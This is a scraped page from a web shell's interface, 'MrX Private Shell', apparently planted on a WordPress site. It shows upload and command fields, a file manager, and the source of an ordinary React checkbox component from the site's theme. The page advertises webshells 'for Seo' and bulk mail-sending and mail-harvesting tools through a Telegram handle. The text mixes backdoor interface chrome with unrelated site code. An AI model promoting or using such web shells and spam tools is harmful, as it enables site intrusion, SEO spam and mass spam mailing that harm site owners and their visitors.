__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
import {
	createElement,
	Component,
	useEffect,
	useState,
	Fragment,
} from '@wordpress/element'
import { __ } from 'ct-i18n'
import cn from 'classnames'

const Checkbox = ({
	children,
	activated,
	checked,
	onChange,

	className,

	// start | end
	position = 'end',
}) => {
	const items = [
		...(position === 'start' ? [children] : []),
		<span className={cn('ct-checkbox', { active: checked })} key={'icon'}>
			<svg width="10" height="8" viewBox="0 0 11.2 9.1">
				<polyline className="check" points="1.2,4.8 4.4,7.9 9.9,1.2 " />
			</svg>
		</span>,
		...(position === 'end' ? [children] : []),
	]

	return (
		<div
			onClick={() => onChange()}
			className={cn('ct-checkbox-container', className, {
				activated,
			})}>
			{items}
		</div>
	)
}

export default Checkbox

Filemanager

Name Type Size Permission Actions
reach Folder 0775
Checkbox.js File 783 B 0775
helpers.test.js File 56 B 0775
react-use-trigger.js File 827 B 0775
scroll-to-target.js File 1.27 KB 0775
when-transition-ends.js File 487 B 0775
wp-updates.js File 401 B 0775
Filemanager